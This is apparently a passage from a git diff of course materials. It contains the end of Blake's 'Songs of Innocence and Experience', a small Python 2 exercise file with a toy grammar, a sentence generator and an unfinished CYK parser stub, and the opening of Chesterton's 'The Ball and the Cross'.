songs of happy cheer!' +So I sung the same again, +While he wept with joy to hear. + +'Piper, sit thee down and write +In a book, that all may read.' +So he vanished from my sight; +And I plucked a hollow reed, + +And I made a rural pen, +And I stained the water clear, +And I wrote my happy songs +Every child may joy to hear. + + + +THE SHEPHERD + + + +How sweet is the shepherd's sweet lot! +From the morn to the evening he strays; +He shall follow his sheep all the day, +And his tongue shall be filled with praise. + +For he hears the lambs' innocent call, +And he hears the ewes' tender reply; +He is watchful while they are in peace, +For they know when their shepherd is nigh. + + + +THE ECHOING GREEN + + + +The sun does arise, +And make happy the skies; +The merry bells ring +To welcome the Spring; +The skylark and thrush, +The birds of the bush, +Sing louder around +To the bells' cheerful sound; +While our sports shall be seen +On the echoing green. + +Old John, with white hair, +Does laugh away care, +Sitting under the oak, +Among the old folk. +They laugh at our play, +And soon they all say, +'Such, such were the joys +When we all--girls and boys - +In our youth-time were seen +On the echoing green.' + +Till the little ones, weary, +No more can be merry: +The sun does descend, +And our sports have an end. +Round the laps of their mothers +Many sisters and brothers, +Like birds in their nest, +Are ready for rest, +And sport no more seen +On the darkening green. + + + +THE LAMB + + + +Little lamb, who made thee? +Does thou know who made thee, +Gave thee life, and bid thee feed +By the stream and o'er the mead; +Gave thee clothing of delight, +Softest clothing, woolly, bright; +Gave thee such a tender voice, +Making all the vales rejoice? +Little lamb, who made thee? +Does thou know who made thee? + +Little lamb, I'll tell thee; +Little lamb, I'll tell thee: +He is called by thy name, +For He calls Himself a Lamb. +He is meek, and He is mild, +He became a little child. +I a child, and thou a lamb, +We are called by His name. +Little lamb, God bless thee! +Little lamb, God bless thee! + + + +THE LITTLE BLACK BOY + + + +My mother bore me in the southern wild, +And I am black, but O my soul is white! +White as an angel is the English child, +But I am black, as if bereaved of light. + +My mother taught me underneath a tree, +And, sitting down before the heat of day, +She took me on her lap and kissed me, +And, pointing to the East, began to say: + +'Look on the rising sun: there God does live, +And gives His light, and gives His heat away, +And flowers and trees and beasts and men receive +Comfort in morning, joy in the noonday. + +'And we are put on earth a little space, +That we may learn to bear the beams of love; +And these black bodies and this sunburnt face +Are but a cloud, and like a shady grove. + +'For, when our souls have learned the heat to bear, +The cloud will vanish, we shall hear His voice, +Saying, "Come out from the grove, my love and care, +And round my golden tent like lambs rejoice."' + +Thus did my mother say, and kissed me, +And thus I say to little English boy. +When I from black, and he from white cloud free, +And round the tent of God like lambs we joy, + +I'll shade him from the heat till he can bear +To lean in joy upon our Father's knee; +And then I'll stand and stroke his silver hair, +And be like him, and he will then love me. + + + +THE BLOSSOM + + + +Merry, merry sparrow! +Under leaves so green +A happy blossom +Sees you, swift as arrow, +Seek your cradle narrow, +Near my bosom. +Pretty, pretty robin! +Under leaves so green +A happy blossom +Hears you sobbing, sobbing, +Pretty, pretty robin, +Near my bosom. + + + +THE CHIMNEY-SWEEPER + + + +When my mother died I was very young, +And my father sold me while yet my tongue +Could scarcely cry 'Weep! weep! weep! weep!' +So your chimneys I sweep, and in soot I sleep. + +There's little Tom Dacre, who cried when his head, +That curled like a lamb's back, was shaved; so I said, +'Hush, Tom! never mind it, for, when your head's bare, +You know that the soot cannot spoil your white hair.' + +And so he was quiet, and that very night, +As Tom was a-sleeping, he had such a sight! - +That thousands of sweepers, Dick, Joe, Ned, and Jack, +Were all of them locked up in coffins of black. + +And by came an angel, who had a bright key, +And he opened the coffins, and set them all free; +Then down a green plain, leaping, laughing, they run +And wash in a river, and shine in the sun. + +Then naked and white, all their bags left behind, +They rise upon clouds, and sport in the wind: +And the angel told Tom, if he'd be a good boy, +He'd have God for his father, and never want joy. + +And so Tom awoke, and we rose in the dark, +And got with our bags and our brushes to work. +Though the morning was cold, Tom was happy and warm: +So, if all do their duty, they need not fear harm. + + + +THE LITTLE BOY LOST + + + +'Father, father, where are you going? +O do not walk so fast! +Speak, father, speak to your little boy, +Or else I shall be lost.' + +The night was dark, no father was there, +The child was wet with dew; +The mire was deep, and the child did weep, +And away the vapour flew. + + + +THE LITTLE BOY FOUND + + + +The little boy lost in the lonely fen, +Led by the wandering light, +Began to cry, but God, ever nigh, +Appeared like his father, in white. + +He kissed the child, and by the hand led, +And to his mother brought, +Who in sorrow pale, through the lonely dale, +Her little boy weeping sought. + + + +LAUGHING SONG + + + +When the green woods laugh with the voice of joy, +And the dimpling stream runs laughing by; +When the air does laugh with our merry wit, +And the green hill laughs with the noise of it; + +When the meadows laugh with lively green, +And the grasshopper laughs in the merry scene; +When Mary and Susan and Emily +With their sweet round mouths sing 'Ha ha he!' + +When the painted birds laugh in the shade, +Where our table with cherries and nuts is spread: +Come live, and be merry, and join with me, +To sing the sweet chorus of 'Ha ha he!' + + + +A CRADLE SONG + + + +Sweet dreams, form a shade +O'er my lovely infant's head! +Sweet dreams of pleasant streams +By happy, silent, moony beams! + +Sweet Sleep, with soft down +Weave thy brows an infant crown! +Sweet Sleep, angel mild, +Hover o'er my happy child! + +Sweet smiles, in the night +Hover over my delight! +Sweet smiles, mother's smiles, +All the livelong night beguiles. + +Sweet moans, dovelike sighs, +Chase not slumber from thy eyes! +Sweet moans, sweeter smiles, +All the dovelike moans beguiles. + +Sleep, sleep, happy child! +All creation slept and smiled. +Sleep, sleep, happy sleep, +While o'er thee thy mother weep. + +Sweet babe, in thy face +Holy image I can trace; +Sweet babe, once like thee +Thy Maker lay, and wept for me: + +Wept for me, for thee, for all, +When He was an infant small. +Thou His image ever see, +Heavenly face that smiles on thee! + +Smiles on thee, on me, on all, +Who became an infant small; +Infant smiles are His own smiles; +Heaven and earth to peace beguiles. + + + +THE DIVINE IMAGE + + + +To Mercy, Pity, Peace, and Love, +All pray in their distress, +And to these virtues of delight +Return their thankfulness. + +For Mercy, Pity, Peace, and Love, +Is God our Father dear; +And Mercy, Pity, Peace, and Love, +Is man, His child and care. + +For Mercy has a human heart; +Pity, a human face; +And Love, the human form divine: +And Peace the human dress. + +Then every man, of every clime, +That prays in his distress, +Prays to the human form divine: +Love, Mercy, Pity, Peace. + +And all must love the human form, +In heathen, Turk, or Jew. +Where Mercy, Love, and Pity dwell, +There God is dwelling too. + + + +HOLY THURSDAY + + + +'Twas on a holy Thursday, their innocent faces clean, +The children walking two and two, in red, and blue, and green: +Grey-headed beadles walked before, with wands as white as snow, +Till into the high dome of Paul's they like Thames waters flow. + +O what a multitude they seemed, these flowers of London town! +Seated in companies they sit, with radiance all their own. +The hum of multitudes was there, but multitudes of lambs, +Thousands of little boys and girls raising their innocent hands. + +Now like a mighty wind they raise to heaven the voice of song, +Or like harmonious thunderings the seats of heaven among: +Beneath them sit the aged men, wise guardians of the poor. +Then cherish pity, lest you drive an angel from your door. + + + +NIGHT + + + +The sun descending in the West, +The evening star does shine; +The birds are silent in their nest, +And I must seek for mine. +The moon, like a flower +In heaven's high bower, +With silent delight, +Sits and smiles on the night. + +Farewell, green fields and happy groves, +Where flocks have took delight, +Where lambs have nibbled, silent moves +The feet of angels bright; +Unseen, they pour blessing, +And joy without ceasing, +On each bud and blossom, +And each sleeping bosom. + +They look in every thoughtless nest +Where birds are covered warm; +They visit caves of every beast, +To keep them all from harm: +If they see any weeping +That should have been sleeping, +They pour sleep on their head, +And sit down by their bed. + +When wolves and tigers howl for prey, +They pitying stand and weep; +Seeking to drive their thirst away, +And keep them from the sheep. +But, if they rush dreadful, +The angels, most heedful, +Receive each mild spirit, +New worlds to inherit. + +And there the lion's ruddy eyes +Shall flow with tears of gold: +And pitying the tender cries, +And walking round the fold: +Saying: 'Wrath by His meekness, +And, by His health, sickness, +Is driven away +From our immortal day. + +'And now beside thee, bleating lamb, +I can lie down and sleep, +Or think on Him who bore thy name, +Graze after thee, and weep. +For, washed in life's river, +My bright mane for ever +Shall shine like the gold, +As I guard o'er the fold.' + + + +SPRING + + + +Sound the flute! +Now it's mute! +Birds delight, +Day and night, +Nightingale, +In the dale, +Lark in sky, - +Merrily, +Merrily, merrily to welcome in the year. + +Little boy, +Full of joy; +Little girl, +Sweet and small; +Cock does crow, +So do you; +Merry voice, +Infant noise; +Merrily, merrily to welcome in the year. + +Little lamb, +Here I am; +Come and lick +My white neck; +Let me pull +Your soft wool; +Let me kiss +Your soft face; +Merrily, merrily we welcome in the year. + + + +NURSE'S SONG + + + +When voices of children are heard on the green, +And laughing is heard on the hill, +My heart is at rest within my breast, +And everything else is still. +'Then come home, my children, the sun is gone down, +And the dews of night arise; +Come, come, leave off play, and let us away, +Till the morning appears in the skies.' + +'No, no, let us play, for it is yet day, +And we cannot go to sleep; +Besides, in the sky the little birds fly, +And the hills are all covered with sheep.' +'Well, well, go and play till the light fades away, +And then go home to bed.' +The little ones leaped, and shouted, and laughed, +And all the hills echoed. + + + +INFANT JOY + + + +'I have no name; +I am but two days old.' +What shall I call thee? +'I happy am, +Joy is my name.' +Sweet joy befall thee! + +Pretty joy! +Sweet joy, but two days old. +Sweet joy I call thee: +Thou dost smile, +I sing the while; +Sweet joy befall thee! + + + +A DREAM + + + +Once a dream did weave a shade +O'er my angel-guarded bed, +That an emmet lost its way +Where on grass methought I lay. + +Troubled, wildered, and forlorn, +Dark, benighted, travel-worn, +Over many a tangled spray, +All heart-broke, I heard her say: + +'O my children! do they cry, +Do they hear their father sigh? +Now they look abroad to see, +Now return and weep for me.' + +Pitying, I dropped a tear: +But I saw a glow-worm near, +Who replied, 'What wailing wight +Calls the watchman of the night?' + +'I am set to light the ground, +While the beetle goes his round: +Follow now the beetle's hum; +Little wanderer, hie thee home!' + + + +ON ANOTHER'S SORROW + + + +Can I see another's woe, +And not be in sorrow too? +Can I see another's grief, +And not seek for kind relief? + +Can I see a falling tear, +And not feel my sorrow's share? +Can a father see his child +Weep, nor be with sorrow filled? + +Can a mother sit and hear +An infant groan, an infant fear? +No, no! never can it be! +Never, never can it be! + +And can He who smiles on all +Hear the wren with sorrows small, +Hear the small bird's grief and care, +Hear the woes that infants bear - + +And not sit beside the nest, +Pouring pity in their breast, +And not sit the cradle near, +Weeping tear on infant's tear? + +And not sit both night and day, +Wiping all our tears away? +O no! never can it be! +Never, never can it be! + +He doth give His joy to all: +He becomes an infant small, +He becomes a man of woe, +He doth feel the sorrow too. + +Think not thou canst sigh a sigh, +And thy Maker is not by: +Think not thou canst weep a tear, +And thy Maker is not near. + +O He gives to us His joy, +That our grief He may destroy: +Till our grief is fled and gone +He doth sit by us and moan. + + + + +SONGS OF EXPERIENCE + + + + +INTRODUCTION + + + +Hear the voice of the Bard, +Who present, past, and future, sees; +Whose ears have heard +The Holy Word +That walked among the ancient trees; + +Calling the lapsed soul, +And weeping in the evening dew; +That might control +The starry pole, +And fallen, fallen light renew! + +'O Earth, O Earth, return! +Arise from out the dewy grass! +Night is worn, +And the morn +Rises from the slumbrous mass. + +'Turn away no more; +Why wilt thou turn away? +The starry floor, +The watery shore, +Is given thee till the break of day.' + + + +EARTH'S ANSWER + + + +Earth raised up her head +From the darkness dread and drear, +Her light fled, +Stony, dread, +And her locks covered with grey despair. + +'Prisoned on watery shore, +Starry jealousy does keep my den +Cold and hoar; +Weeping o'er, +I hear the father of the ancient men. + +'Selfish father of men! +Cruel, jealous, selfish fear! +Can delight, +Chained in night, +The virgins of youth and morning bear. + +'Does spring hide its joy, +When buds and blossoms grow? +Does the sower +Sow by night, +Or the ploughman in darkness plough? + +'Break this heavy chain, +That does freeze my bones around! +Selfish, vain, +Eternal bane, +That free love with bondage bound.' + + + +THE CLOD AND THE PEBBLE + + + +'Love seeketh not itself to please, +Nor for itself hath any care, +But for another gives its ease, +And builds a heaven in hell's despair.' + +So sung a little clod of clay, +Trodden with the cattle's feet, +But a pebble of the brook +Warbled out these metres meet: + +'Love seeketh only Self to please, +To bind another to its delight, +Joys in another's loss of ease, +And builds a hell in heaven's despite.' + + + +HOLY THURSDAY + + + +Is this a holy thing to see +In a rich and fruitful land, - +Babes reduced to misery, +Fed with cold and usurous hand? + +Is that trembling cry a song? +Can it be a song of joy? +And so many children poor? +It is a land of poverty! + +And their sun does never shine, +And their fields are bleak and bare, +And their ways are filled with thorns, +It is eternal winter there. + +For where'er the sun does shine, +And where'er the rain does fall, +Babe can never hunger there, +Nor poverty the mind appal. + + + +THE LITTLE GIRL LOST + + + +In futurity +I prophesy +That the earth from sleep +(Grave the sentence deep) + +Shall arise, and seek +For her Maker meek; +And the desert wild +Become a garden mild. + +In the southern clime, +Where the summer's prime +Never fades away, +Lovely Lyca lay. + +Seven summers old +Lovely Lyca told. +She had wandered long, +Hearing wild birds' song. + +'Sweet sleep, come to me, +Underneath this tree; +Do father, mother, weep? +Where can Lyca sleep? + +'Lost in desert wild +Is your little child. +How can Lyca sleep +If her mother weep? + +'If her heart does ache, +Then let Lyca wake; +If my mother sleep, +Lyca shall not weep. + +'Frowning, frowning night, +O'er this desert bright +Let thy moon arise, +While I close my eyes.' + +Sleeping Lyca lay, +While the beasts of prey, +Come from caverns deep, +Viewed the maid asleep. + +The kingly lion stood, +And the virgin viewed: +Then he gambolled round +O'er the hallowed ground. + +Leopards, tigers, play +Round her as she lay; +While the lion old +Bowed his mane of gold, + +And her bosom lick, +And upon her neck, +From his eyes of flame, +Ruby tears there came; + +While the lioness +Loosed her slender dress, +And naked they conveyed +To caves the sleeping maid. + + + +THE LITTLE GIRL FOUND + + + +All the night in woe +Lyca's parents go +Over valleys deep, +While the deserts weep. + +Tired and woe-begone, +Hoarse with making moan, +Arm in arm, seven days +They traced the desert ways. + +Seven nights they sleep +Among shadows deep, +And dream they see their child +Starved in desert wild. + +Pale through pathless ways +The fancied image strays, +Famished, weeping, weak, +With hollow piteous shriek. + +Rising from unrest, +The trembling woman pressed +With feet of weary woe; +She could no further go. + +In his arms he bore +Her, armed with sorrow sore; +Till before their way +A couching lion lay. + +Turning back was vain: +Soon his heavy mane +Bore them to the ground, +Then he stalked around, + +Smelling to his prey; +But their fears allay +When he licks their hands, +And silent by them stands. + +They look upon his eyes, +Filled with deep surprise; +And wondering behold +A spirit armed in gold. + +On his head a crown, +On his shoulders down +Flowed his golden hair. +Gone was all their care. + +'Follow me,' he said; +'Weep not for the maid; +In my palace deep, +Lyca lies asleep.' + +Then they followed +Where the vision led, +And saw their sleeping child +Among tigers wild. + +To this day they dwell +In a lonely dell, +Nor fear the wolvish howl +Nor the lion's growl. + + + +THE CHIMNEY-SWEEPER + + + +A little black thing among the snow, +Crying! 'weep! weep!' in notes of woe! +'Where are thy father and mother? Say!' - +'They are both gone up to the church to pray. + +'Because I was happy upon the heath, +And smiled among the winter's snow, +They clothed me in the clothes of death, +And taught me to sing the notes of woe. + +'And because I am happy and dance and sing, +They think they have done me no injury, +And are gone to praise God and His priest and king, +Who made up a heaven of our misery.' + + + +NURSE'S SONG + + + +When the voices of children are heard on the green, +And whisperings are in the dale, +The days of my youth rise fresh in my mind, +My face turns green and pale. + +Then come home, my children, the sun is gone down, +And the dews of night arise; +Your spring and your day are wasted in play, +And your winter and night in disguise. + + + +THE SICK ROSE + + + +O rose, thou art sick! +The invisible worm, +That flies in the night, +In the howling storm, + +Has found out thy bed +Of crimson joy, +And his dark secret love +Does thy life destroy. + + + +THE FLY + + + +Little Fly, +Thy summer's play +My thoughtless hand +Has brushed away. + +Am not I +A fly like thee? +Or art not thou +A man like me? + +For I dance, +And drink, and sing, +Till some blind hand +Shall brush my wing. + +If thought is life +And strength and breath, +And the want +Of thought is death; + +Then am I +A happy fly. +If I live, +Or if I die. + + + +THE ANGEL + + + +I dreamt a dream! What can it mean? +And that I was a maiden Queen +Guarded by an Angel mild: +Witless woe was ne'er beguiled! + +And I wept both night and day, +And he wiped my tears away; +And I wept both day and night, +And hid from him my heart's delight. + +So he took his wings, and fled; +Then the morn blushed rosy red. +I dried my tears, and armed my fears +With ten thousand shields and spears. + +Soon my Angel came again; +I was armed, he came in vain; +For the time of youth was fled, +And grey hairs were on my head. + + + +THE TIGER + + + +Tiger, tiger, burning bright +In the forests of the night, +What immortal hand or eye +Could frame thy fearful symmetry? + +In what distant deeps or skies +Burnt the fire of thine eyes? +On what wings dare he aspire? +What the hand dare seize the fire? + +And what shoulder and what art +Could twist the sinews of thy heart? +And, when thy heart began to beat, +What dread hand and what dread feet? + +What the hammer? what the chain? +In what furnace was thy brain? +What the anvil? what dread grasp +Dare its deadly terrors clasp? + +When the stars threw down their spears, +And watered heaven with their tears, +Did He smile His work to see? +Did He who made the lamb make thee? + +Tiger, tiger, burning bright +In the forests of the night, +What immortal hand or eye +Dare frame thy fearful symmetry? + + + +MY PRETTY ROSE TREE + + + +A flower was offered to me, +Such a flower as May never bore; +But I said, 'I've a pretty rose tree,' +And I passed the sweet flower o'er. + +Then I went to my pretty rose tree, +To tend her by day and by night; +But my rose turned away with jealousy, +And her thorns were my only delight. + + + +AH, SUNFLOWER + + + +Ah, sunflower, weary of time, +Who countest the steps of the sun; +Seeking after that sweet golden clime +Where the traveller's journey is done; + +Where the Youth pined away with desire, +And the pale virgin shrouded in snow, +Arise from their graves, and aspire +Where my Sunflower wishes to go! + + + +THE LILY + + + +The modest Rose puts forth a thorn, +The humble sheep a threat'ning horn: +While the Lily white shall in love delight, +Nor a thorn nor a threat stain her beauty bright. + + + +THE GARDEN OF LOVE + + + +I went to the Garden of Love, +And saw what I never had seen; +A Chapel was built in the midst, +Where I used to play on the green. + +And the gates of this Chapel were shut, +And 'Thou shalt not' writ over the door; +So I turned to the Garden of Love +That so many sweet flowers bore. + +And I saw it was filled with graves, +And tombstones where flowers should be; +And priests in black gowns were walking their rounds, +And binding with briars my joys and desires. + + + +THE LITTLE VAGABOND + + + +Dear mother, dear mother, the Church is cold; +But the Alehouse is healthy, and pleasant, and warm. +Besides, I can tell where I am used well; +Such usage in heaven will never do well. + +But, if at the Church they would give us some ale, +And a pleasant fire our souls to regale, +We'd sing and we'd pray all the livelong day, +Nor ever once wish from the Church to stray. + +Then the Parson might preach, and drink, and sing, +And we'd be as happy as birds in the spring; +And modest Dame Lurch, who is always at church, +Would not have bandy children, nor fasting, nor birch. + +And God, like a father, rejoicing to see +His children as pleasant and happy as He, +Would have no more quarrel with the Devil or the barrel, +But kiss him, and give him both drink and apparel. + + + +LONDON + + + +I wander through each chartered street, +Near where the chartered Thames does flow, +A mark in every face I meet, +Marks of weakness, marks of woe. + +In every cry of every man, +In every infant's cry of fear, +In every voice, in every ban, +The mind-forged manacles I hear: + +How the chimney-sweeper's cry +Every blackening church appals, +And the hapless soldier's sigh +Runs in blood down palace-walls. + +But most, through midnight streets I hear +How the youthful harlot's curse +Blasts the new-born infant's tear, +And blights with plagues the marriage hearse. + + + +THE HUMAN ABSTRACT + + + +Pity would be no more +If we did not make somebody poor, +And Mercy no more could be +If all were as happy as we. + +And mutual fear brings Peace, +Till the selfish loves increase; +Then Cruelty knits a snare, +And spreads his baits with care. + +He sits down with holy fears, +And waters the ground with tears; +Then Humility takes its root +Underneath his foot. + +Soon spreads the dismal shade +Of Mystery over his head, +And the caterpillar and fly +Feed on the Mystery. + +And it bears the fruit of Deceit, +Ruddy and sweet to eat, +And the raven his nest has made +In its thickest shade. + +The gods of the earth and sea +Sought through nature to find this tree, +But their search was all in vain: +There grows one in the human Brain. + + + +INFANT SORROW + + + +My mother groaned, my father wept: +Into the dangerous world I leapt, +Helpless, naked, piping loud, +Like a fiend hid in a cloud. + +Struggling in my father's hands, +Striving against my swaddling bands, +Bound and weary, I thought best +To sulk upon my mother's breast. + + + +A POISON TREE + + + +I was angry with my friend: +I told my wrath, my wrath did end. +I was angry with my foe: +I told it not, my wrath did grow. + +And I watered it in fears +Night and morning with my tears, +And I sunned it with smiles +And with soft deceitful wiles. + +And it grew both day and night, +Till it bore an apple bright, +And my foe beheld it shine, +And he knew that it was mine, - + +And into my garden stole +When the night had veiled the pole; +In the morning, glad, I see +My foe outstretched beneath the tree. + + + +A LITTLE BOY LOST + + + +'Nought loves another as itself, +Nor venerates another so, +Nor is it possible to thought +A greater than itself to know. + +'And, father, how can I love you +Or any of my brothers more? +I love you like the little bird +That picks up crumbs around the door.' + +The Priest sat by and heard the child; +In trembling zeal he seized his hair, +He led him by his little coat, +And all admired his priestly care. + +And standing on the altar high, +'Lo, what a fiend is here!' said he: +'One who sets reason up for judge +Of our most holy mystery.' + +The weeping child could not be heard, +The weeping parents wept in vain: +They stripped him to his little shirt, +And bound him in an iron chain, + +And burned him in a holy place +Where many had been burned before; +The weeping parents wept in vain. +Are such things done on Albion's shore? + + + +A LITTLE GIRL LOST + + + +Children of the future age, +Reading this indignant page, +Know that in a former time +Love, sweet love, was thought a crime. + +In the age of gold, +Free from winter's cold, +Youth and maiden bright, +To the holy light, +Naked in the sunny beams delight. + +Once a youthful pair, +Filled with softest care, +Met in garden bright +Where the holy light +Had just removed the curtains of the night. + +There, in rising day, +On the grass they play; +Parents were afar, +Strangers came not near, +And the maiden soon forgot her fear. + +Tired with kisses sweet, +They agree to meet +When the silent sleep +Waves o'er heaven's deep, +And the weary tired wanderers weep. + +To her father white +Came the maiden bright; +But his loving look, +Like the holy book, +All her tender limbs with terror shook. + +Ona, pale and weak, +To thy father speak! +O the trembling fear! +O the dismal care +That shakes the blossoms of my hoary hair!' + + + +A DIVINE IMAGE + + + +Cruelty has a human heart, +And Jealousy a human face; +Terror the human form divine, +And Secrecy the human dress. + +The human dress is forged iron, +The human form a fiery forge, +The human face a furnace sealed, +The human heart its hungry gorge. + + + +A CRADLE SONG + + + +Sleep, sleep, beauty bright, +Dreaming in the joys of night; +Sleep, sleep; in thy sleep +Little sorrows sit and weep. + +Sweet babe, in thy face +Soft desires I can trace, +Secret joys and secret smiles, +Little pretty infant wiles. + +As thy softest limbs I feel, +Smiles as of the morning steal +O'er thy cheek, and o'er thy breast +Where thy little heart doth rest. + +O the cunning wiles that creep +In thy little heart asleep! +When thy little heart doth wake, +Then the dreadful light shall break. + + + +THE SCHOOLBOY + + + +I love to rise in a summer morn, +When the birds sing on every tree; +The distant huntsman winds his horn, +And the skylark sings with me: +O what sweet company! + +But to go to school in a summer morn, - +O it drives all joy away! +Under a cruel eye outworn, +The little ones spend the day +In sighing and dismay. + +Ah then at times I drooping sit, +And spend many an anxious hour; +Nor in my book can I take delight, +Nor sit in learning's bower, +Worn through with the dreary shower. + +How can the bird that is born for joy +Sit in a cage and sing? +How can a child, when fears annoy, +But droop his tender wing, +And forget his youthful spring! + +O father and mother if buds are nipped, +And blossoms blown away; +And if the tender plants are stripped +Of their joy in the springing day, +By sorrow and care's dismay, - + +How shall the summer arise in joy, +Or the summer fruits appear? +Or how shall we gather what griefs destroy, +Or bless the mellowing year, +When the blasts of winter appear? + + + +TO TIRZAH + + + +Whate'er is born of mortal birth +Must be consumed with the earth, +To rise from generation free: +Then what have I to do with thee? + +The sexes sprung from shame and pride, +Blowed in the morn, in evening died; +But mercy changed death into sleep; +The sexes rose to work and weep. + +Thou, mother of my mortal part, +With cruelty didst mould my heart, +And with false self-deceiving tears +Didst blind my nostrils, eyes, and ears, + +Didst close my tongue in senseless clay, +And me to mortal life betray. +The death of Jesus set me free: +Then what have I to do with thee? + + + +THE VOICE OF THE ANCIENT BARD + + + +Youth of delight! come hither +And see the opening morn, +Image of Truth new-born. +Doubt is fled, and clouds of reason, +Dark disputes and artful teazing. +Folly is an endless maze; +Tangled roots perplex her ways; +How many have fallen there! +They stumble all night over bones of the dead; +And feel--they know not what but care; +And wish to lead others, when they should be led. + + + + + +End of Project Gutenberg Etext Songs of Innocence and Experience by Blake + diff --git a/mccalum/cfg.py b/mccalum/cfg.py new file mode 100644 index 0000000..bd8ca5a --- /dev/null +++ b/mccalum/cfg.py @@ -0,0 +1,110 @@ +import sys +from random import choice + +def Dict(**args): + """Return a dictionary with argument names as the keys, + and argument values as the key values""" + return args + +# The grammar +# A line like: +# NP = [['Det', 'N'], ['N'], ['N', 'PP'], +# means +# NP -> Det N +# NP -> N +# NP -> N PP +grammar = Dict( + S = [['NP','VP']], + NP = [['Det', 'N'], ['N', 'PP']], + VP = [['V', 'NP'], ['V', 'PP']], + PP = [['P', 'N']], + Det = ['the', 'a'], + P = ['with'], + J = ['red', 'big'], + N = ['red', 'dog', 'dogs', 'pickles', 'ball', 'light'], + V = ['pickles', 'see', 'sees', 'liked', 'light', 'slept'] + ) + +def generate(phrase): + "Generate a random sentence or phrase" + if isinstance(phrase, list): + return mappend(generate, phrase) + elif phrase in grammar: + return generate(choice(grammar[phrase])) + else: return [phrase] + +def generate_tree(phrase): + """Generate a random sentence or phrase, + with a complete parse tree.""" + if isinstance(phrase, list): + return map(generate_tree, phrase) + elif phrase in grammar: + return [phrase] + generate_tree(choice(grammar[phrase])) + else: return [phrase] + +def mappend(fn, list): + "Append the results of calling fn on each element of list." + return reduce(lambda x,y: x+y, map(fn, list)) + +def producers(constituent): + "Argument is a list containing the rhs of some rule; return all possible lhs's" + results = [] + for (lhs,rhss) in grammar.items(): + for rhs in rhss: + if rhs == constituent: + results.append(lhs) + return results + +def printtable(table, wordlist): + "Print the dynamic programming table. The leftmost column is always empty." + print " ", wordlist + for row in table: + print row + +def parse(sentence): + "The CYK parser. Return True if sentence is in the grammar; False otherwise" + global grammar + # Create the table; index j for rows, i for columns + length = len(sentence) + table = [None] * (length) + for j in range(length): + table[j] = [None] * (length+1) + for i in range(length+1): + table[j][i] = [] + # Fill the diagonal of the table with the parts-of-speech of the words + for k in range(1,length+1): + table[k-1][k].extend(producers(sentence[k-1])) + + # + # You fill in CYK implementation here + # + + # Print the table + printtable(table, sentence) + +def printlanguage (): + "Randomly generate many sentences, saving and printing the unique ones" + language = {} + size = 0 + for i in range(100): + sentencestr = ' '.join(generate('S')) + language[sentencestr] = 1 + if len(language) > size: + size = len(language) + print '+', + else: + print '.', + sys.stdout.flush() + print + for s in language.keys(): + print s + print size + +def printsentence (): + print ' '.join(generate('S')) + + +#print producers(['Det', 'N']) +#printsentence() +#parse('the man with the pickles hit the red ball'.split()) +printlanguage() diff --git a/mccalum/chesterton-ball.txt b/mccalum/chesterton-ball.txt new file mode 100644 index 0000000..bc50e3a --- /dev/null +++ b/mccalum/chesterton-ball.txt @@ -0,0 +1,9628 @@ +The Project Gutenberg EBook of The Ball and The Cross, by G.K. Chesterton +#15 in our series by G.K. Chesterton + +Copyright laws are changing all over the world. Be sure to check the +copyright laws for your country before downloading or redistributing +this or any other Project Gutenberg eBook. + +This header should be the first thing seen when viewing this Project +Gutenberg file. Please do not remove it. Do not change or edit the +header without written permission. + +Please read the "legal small print," and other information about the +eBook and Project Gutenberg at the bottom of this file. Included is +important information about your specific rights and restrictions in +how the file may be used. You can also find out about how to make a +donation to Project Gutenberg, and how to get involved. + + +**Welcome To The World of Free Plain Vanilla Electronic Texts** + +**eBooks Readable By Both Humans and By Computers, Since 1971** + +*****These eBooks Were Prepared By Thousands of Volunteers!***** + + +Title: The Ball and The Cross + +Author: G.K. Chesterton + +Release Date: March, 2004 [EBook #5265] +[Yes, we are more than one year ahead of schedule] +[This file was first posted on June 19, 2002] +[Date last updated: July 10th, 2002] + +Edition: 10 + +Language: English + +Character set encoding: ASCII + +*** START OF THE PROJECT GUTENBERG EBOOK THE BALL AND THE CROSS *** + + + + + +Produced by Ben Crowder + + + + + +THE BALL AND THE CROSS + +G.K. Chesterton + + + +CONTENTS + + I. A Discussion Somewhat in the Air + II. The Religion of the Stipendiary Magistrate + III. Some Old Curiosities + IV. A Discussion at Dawn + V. The Peacemaker + VI. The Other Philosopher + VII. The Village of Grassley-in-the-Hole + VIII. An Interlude of Argument + IX. The Strange Lady + X. The Swords Rejoined + XI. A Scandal in the Village + XII. The Desert Island + XIII. The Garden of Peace + XIV. A Museum of Souls + XV. The Dream of MacIan + XVI. The Dream of Turnbull + XVII. The Idiot +XVIII. A Riddle of Faces + XIX. The Last Parley + XX. Dies Irae + + + +I. A DISCUSSION SOMEWHAT IN THE AIR + +The flying ship of Professor Lucifer sang through the skies like +a silver arrow; the bleak white steel of it, gleaming in the +bleak blue emptiness of the evening. That it was far above the +earth was no expression for it; to the two men in it, it seemed +to be far above the stars. The professor had himself invented +the flying machine, and had also invented nearly everything in +it. Every sort of tool or apparatus had, in consequence, to the +full, that fantastic and distorted look which belongs to the +miracles of science. For the world of science and evolution is +far more nameless and elusive and like a dream than the world of +poetry and religion; since in the latter images and ideas remain +themselves eternally, while it is the whole idea of evolution +that identities melt into each other as they do in a nightmare. + +All the tools of Professor Lucifer were the ancient human tools +gone mad, grown into unrecognizable shapes, forgetful of their +origin, forgetful of their names. That thing which looked like an +enormous key with three wheels was really a patent and very +deadly revolver. That object which seemed to be created by the +entanglement of two corkscrews was really the key. The thing +which might have been mistaken for a tricycle turned upside-down +was the inexpressibly important instrument to which the corkscrew +was the key. All these things, as I say, the professor had +invented; he had invented everything in the flying ship, with the +exception, perhaps, of himself. This he had been born too late +actually to inaugurate, but he believed at least, that he had +considerably improved it. + +There was, however, another man on board, so to speak, at the +time. Him, also, by a curious coincidence, the professor had not +invented, and him he had not even very greatly improved, though +he had fished him up with a lasso out of his own back garden, in +Western Bulgaria, with the pure object of improving him. He was +an exceedingly holy man, almost entirely covered with white hair. +You could see nothing but his eyes, and he seemed to talk with +them. A monk of immense learning and acute intellect he had made +himself happy in a little stone hut and a little stony garden in +the Balkans, chiefly by writing the most crushing refutations of +exposures of certain heresies, the last professors of which had +been burnt (generally by each other) precisely 1,119 years +previously. They were really very plausible and thoughtful +heresies, and it was really a creditable or even glorious +circumstance, that the old monk had been intellectual enough to +detect their fallacy; the only misfortune was that nobody in the +modern world was intellectual enough even to understand their +argument. The old monk, one of whose names was Michael, and the +other a name quite impossible to remember or repeat in our +Western civilization, had, however, as I have said, made himself +quite happy while he was in a mountain hermitage in the society +of wild animals. And now that his luck had lifted him above all +the mountains in the society of a wild physicist, he made himself +happy still. + +"I have no intention, my good Michael," said Professor 